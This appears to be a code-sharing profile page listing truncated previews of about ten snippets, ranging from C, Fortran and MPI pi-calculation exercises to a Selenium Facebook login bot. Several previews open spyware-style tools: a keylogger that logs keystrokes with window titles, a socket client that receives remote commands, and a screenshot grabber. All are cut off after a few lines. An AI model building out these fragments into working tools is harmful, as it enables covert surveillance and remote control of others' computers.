This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
void main(){ | |
float x,y; | |
char ch, escape; | |
printf("Enter x & y\n"); | |
scanf("%f %f", &x, &y); | |
/* | |
Automatically a new line character input is made by the c-program itself. | |
To prevent the unexpected input messing our program, we placed the |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PROGRAM Test | |
IMPLICIT NONE | |
WRITE(*,*)"Hello Fortran" | |
END PROGRAM |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title></title> | |
</head> | |
<body> | |
<?php | |
error_reporting(0); | |
date_default_timezone_set("Asia/Dhaka"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from selenium import webdriver | |
def loginBOT(usr, pas): | |
br = webdriver.Firefox() | |
br.get("https://web.facebook.com/") | |
user = br.find_element_by_css_selector("#email") | |
user.clear() | |
user.send_keys(usr) | |
passwd = br.find_element_by_css_selector("#pass") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import win32gui | |
from pynput import keyboard | |
import time | |
# when user press the key | |
def on_press(key): | |
file = open('key_logs.txt', 'a') | |
try: | |
value = '{' + str( win32gui.GetWindowText(win32gui.GetForegroundWindow()) ) + ', ' + str(time.ctime()) + '} ' + str(key.char) + '\n' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
from threading import Thread | |
import time | |
'''Working formula: PI = 4.0 * ( 1 - 1/3 + 1/5 - 1/7 + 1/9 - ...)''' | |
# GLOBAL VARIABLES | |
NEGATIVE_SUM = 0.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This program is to caculate PI using MPI | |
/* | |
* The algorithm is based on Monte Carlo method. The Monte Carlo method | |
* randomly picks up a large number of points in a square. It only counts | |
* the ratio of pints in side the circule. | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <time.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/bash | |
# run mpi_pi.c with np from 1 to 8 | |
mpicc -o pi mpi_pi.c | |
for i in $(seq 1 8); do | |
mpirun -np $i ./pi | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import time | |
import random | |
import os | |
def getInstructions(s): | |
while True: | |
msg = s.recv(4096) | |
cmd = msg.decode("UTF-8") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pyscreenshot as ss | |
import time, getpass | |
def sstaker(): | |
usr = getpass.getuser() | |
ctime = time.time() | |
while True: | |
if (ctime - time.time()) == 30.0: | |
try: | |
pic = ss.grab() |
OlderNewer